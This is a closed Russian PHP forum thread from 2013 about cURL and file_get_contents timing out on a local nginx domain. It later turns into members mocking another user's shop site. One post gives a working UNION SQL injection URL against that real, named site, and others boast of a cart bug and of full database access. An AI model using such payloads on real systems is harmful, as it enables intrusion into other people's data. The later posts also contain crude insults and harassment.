За последние 24 часа нас посетили 19205 программистов и 1647 роботов. Сейчас ищут 705 программистов ...

cURL и file_get_contents проблема в localhost

Тема в разделе "Прочие вопросы по PHP", создана пользователем Asdal, 27 авг 2013.

Статус темы:
Закрыта.
  1. Asdal

    Asdal Новичок

    С нами с:
    27 авг 2013
    Сообщения:
    9
    Симпатии:
    0
    cURL и file_get_contents не подключают файлы. (PHP-cgi NGINX) виртуальный домен.

    cURL не срабатывает для локальных доменов, которые прописаны в hosts.
    Файл hosts:
    Код (Text):
    1. ...
    2. 127.0.0.1 domain.com
    3. ...
    php.ini
    Код (Text):
    1.  
    2. ...
    3. allow_url_fopen = On
    4. ...
    5. allow_url_include = On
    6. ...
    7. [PHP_CURL]
    8. extension=php_curl.dll
    Файл запроса содержит "query.php":
    Код (Text):
    1.  
    2. $curl = curl_init();
    3. curl_setopt($curl, CURLOPT_URL, 'http://domain.com/post.php');
    4. curl_setopt($curl, CURLOPT_HEADER, 1);
    5. curl_setopt($curl, CURLOPT_POST, 1);
    6. curl_setopt($curl, CURLOPT_TIMEOUT, 5);
    7. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    8. curl_setopt($curl, CURLOPT_POSTFIELDS, 'name=' . urlencode('John') . '&surname=' . urlencode('Smith'));
    9. curl_setopt($curl, CURLOPT_USERAGENT, 'Opera 10.00');
    10. $res = curl_exec($curl);
    11. if (!$res) {
    12.     $error = curl_error($curl).'('.curl_errno($curl).')';
    13.     echo $error;
    14. }
    15. echo $res;
    16. curl_close($curl);
    Запрашиваемый файл содержит "post.php":
    Код (Text):
    1. echo '<pre>';
    2. print_r($_POST);
    3. echo '</pre>';
    Возникает ошибка:
    cURL Error: Operation timed out after 10015 milliseconds with 0 out of -1 bytes received

    Вопрос почему такое происходит и как это обойти? Почему не отправляются данные на этот домен.
    Nginx, Php перезагружал не раз.

    Пробовал разные варианты кода.
    Даже
    Код (Text):
    1. file_get_contents('http://domain.com/post.php');
    Не подключает файлы.

    Тупо сервер ложится и потом вылетает ошибка сервера.

    Если же я выкладываю файл "post.php" на реальный удалённый домен на хостинге и вызываю его первым файлом то всё проходит отлично. А именно с моего компа файлы не подгружаются.

    nginx.conf
    Код (Text):
    1. #user  nobody;
    2. worker_processes  1;
    3.  
    4. #error_log  logs/error.log;
    5. #error_log  logs/error.log  notice;
    6. #error_log  logs/error.log  info;
    7.  
    8. #pid        logs/nginx.pid;
    9.  
    10.  
    11. events {
    12.     worker_connections  1024;
    13. }
    14.  
    15.  
    16. http {
    17.  
    18.     include       mime.types;
    19.     default_type  application/octet-stream;
    20.  
    21.     sendfile       on;
    22.     tcp_nopush     on;
    23.     tcp_nodelay    on;
    24.  
    25.     client_header_timeout  10m;
    26.     client_body_timeout    10m;
    27.     send_timeout           10m;
    28.  
    29.     keepalive_timeout  0;
    30.  
    31.     ### domain.com
    32.     server {
    33.         listen   80;
    34.         server_name domain.com;
    35.         root    html/domain.com/public_html;
    36.        
    37.         charset utf-8;
    38.         error_page  404 /errors/index.php?error=404;
    39.         access_log  html/domain.com/log/access.log;
    40.         error_log   html/domain.com/log/error.log;
    41.  
    42.         location / {
    43.             root    html/domain.com/public_html;
    44.             index   index.php index.html index.htm;
    45.         }
    46.  
    47.         location ~ \.php$ {
    48.                 root           html/domain.com/public_html;
    49.                 fastcgi_pass   127.0.0.1:9000;
    50.                 fastcgi_index  index.php;
    51.                 fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    52.                 include        fastcgi_params;
    53.         }
    54.     }
    55. }
    В гугл не слать, не один час провел в поисках.
     
  2. Asdal

    Asdal Новичок

    С нами с:
    27 авг 2013
    Сообщения:
    9
    Симпатии:
    0
    Неужели небыло такого ни у кого.
     
  3. jei

    jei Активный пользователь

    С нами с:
    11 июн 2009
    Сообщения:
    542
    Симпатии:
    0
    Тут же великие профессионалы пхп.Которые любят лажать.А на деле нуляки.Там защита стоит может.Я так понимаю тебе сайт страницу не отдаёт file_get_contents('http://domain.com/post.php');?
    Есть один вариант у меня.
     
  4. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
    ты о чем ? О_о
     
  5. jei

    jei Активный пользователь

    С нами с:
    11 июн 2009
    Сообщения:
    542
    Симпатии:
    0
    MAN_IFE_ST это не тебе
     
  6. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    Может быть это мне? =)
     
  7. jei

    jei Активный пользователь

    С нами с:
    11 июн 2009
    Сообщения:
    542
    Симпатии:
    0
    иногда ты бываешь очень вредный

    Код (Text):
    1. $curl = curl_init();
    2.      curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-type: text/xml;charset=\"utf-8\""));
    3.     mb_convert_encoding($html,'windows-1251','UTF-8');  
    4.      curl_setopt($curl, CURLOPT_ENCODING, 'utf-8');
    5. curl_setopt($curl, CURLOPT_FAILONERROR, 1);
    6. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // allow redirects
    7. curl_setopt($curl, CURLOPT_TIMEOUT, 10); // times out after 4s
    8. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // return into a variable
    9. curl_setopt($curl, CURLOPT_URL, "http://www.free-lance.ru/employers/?page=1");
    10. //curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 GTB6");
    11. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0");
    12. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    13.    
    14.     $output = curl_exec($curl);
    15.     $output2 = iconv("windows-1251","utf-8", $output);
    16.     //
    17.     $fp2 = "example_homepage.php" ;
    18.     $fp = fopen("example_homepage.php", 'a');           //Открываем файл в режиме записи
    19.     ftruncate($fp, 0); // очищаем файл
    20.     fclose($fp); //Закрытие файла
    21.    
    22.     file_put_contents($fp2, $output2, FILE_APPEND | LOCK_EX);
    23.     $homepage = file_get_contents('example_homepage.php');
     
  8. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    jei, <матное слово>, ты гений! Твой код должен быть в первом месте сайта govnokod.ru.
     
  9. smitt

    smitt Старожил

    С нами с:
    3 янв 2012
    Сообщения:
    3.166
    Симпатии:
    65
    :)

    Давайте проведем конкурс кто сколько рабочих уязвимостей найдет на его сайте viewtopic.php?f=29&p=362934#p362934
    Как минимум 1 есть:)
     
  10. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
    нашел самую банальную ошибку
    http://divniisad.ru/?param_1=value_1&param_2=value_2&sep=1& ... 99#result1
    http://divniisad.ru/?param_1=value_1&param_2=value_2&sep=1&page=4#result1
     
  11. Asdal

    Asdal Новичок

    С нами с:
    27 авг 2013
    Сообщения:
    9
    Симпатии:
    0
    Да, именно так, не подгружает, ложится тупо в ожидание и потом 504 сервак отдаёт. Вариант что в сообщении пробовал, никаких изменений.
     
  12. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    :D Относительно фатальной.
    Сайт вообще не стабильный и не логичный, еще и на продажу=)
    Понты. Такое будет стоить тысяч 7 (если сильно не загибать), только нормальной сборки, аккуратно и красиво.
    Пусть даже с небольшими погрешностями. Ибо реальные сайты стоят реальных денег. А не 300-500р. =)
    Да не он вряд ли сможет реализовать -это сам, раз такие глупости пишет.
    Кому-этот сайт будет нужен, у которого не все в порядке с видом ^^

    =)

    А вообще такие сайты нужно делать облегченными, больше визуальности и скорости.
     
  13. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
    вот своя кмска на sql ваще рулит ^^
    да и вообще не по теме уже =)
     
  14. artoodetoo

    artoodetoo Суперстар
    Команда форума Модератор

    С нами с:
    11 июн 2010
    Сообщения:
    11.131
    Симпатии:
    1.251
    Адрес:
    там-сям
    Asdal, давай выясним: проблема в том что домен (локальный) не расшифровывается или в том что данные недоступны?

    * попробуй что-то прочитать с внешнего сайта, еще попробуй по IP адресу вместо домена - будет работать в каком-нибудь случае?
    * вызови phpinfo и проверь включена ли опция allow_url_fopen

    Вероятно в error.log есть расшифровка ошибки
     
  15. smitt

    smitt Старожил

    С нами с:
    3 янв 2012
    Сообщения:
    3.166
    Симпатии:
    65
    Не я про критические уязвимости, но то же не плохо:)

    Давайте развлечемся что так кисло? :)

    Может что то покажешь?

    Ладно вот моя скуль :) Джей сорри, исправляй а то никто не купит :)

    Код (Text):
    1.  
    2. http://divniisad.ru/index.php?category=4' union select
    3. 1,2,3,4,5,6,7,8,'sql ',10,11,12,13,14,15,16,'injection
    4. :)',18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53
    5. ORDER BY 1 ASC -- --
     
  16. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    У него еще баг лютый. Я что-то наковырял в адреске и у меня в корзине оказалось с полсотни товаров О_о

    И..кроме шуток..53 столбца? О_о Джей, ты монстр.
     
  17. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    просто он опять вдруг ошибочно решил, что он программист. рецидив налицо!
     
  18. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
    полный движок с багами -_- лучше все с заного написать. зае*** =)
     
  19. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    ГМ... Ты хочешь увидеть кровь? =)))
    Я знаю уже все о базе.
    Удалять не хочу.
     
  20. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    [​IMG]
    [​IMG]
     
  21. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.819
    Симпатии:
    1.333
    Адрес:
    Лень
  22. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    Похлопаем нашему клоуну.
    Ты такой валенок.
    Сочувствую твоему роду, мозгами обидели.
    Был бы твой сайт-это, я бы уже все удалил бы.
    Ты есть второй jei. Ты будешь наказан.
     
  23. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    клоун тут только ты. хватит уже со всеми цапаться. подрочи уже и успокойся. научись жить с людьми как они все живут с тобой.
     
  24. Fell-x27

    Fell-x27 Суперстар
    Команда форума Модератор

    С нами с:
    25 июл 2013
    Сообщения:
    12.156
    Симпатии:
    1.771
    Адрес:
    :сердА
    Купи в аптеке охлаждающую ректальную мазь, бро Д'Артаньян. И меньше выeбывaйся - не будешь попадать в подобные ситуации.
     
  25. Your

    Your Старожил

    С нами с:
    2 июл 2011
    Сообщения:
    4.074
    Симпатии:
    7
    Дрочат такие как ты не удачники. Тебе уже давно пора было бы кислород перекрыть. Базаришь нагло. Еще и пиздишь.
    Ошпаренных людей, просьба не писать.
     
Статус темы:
Закрыта.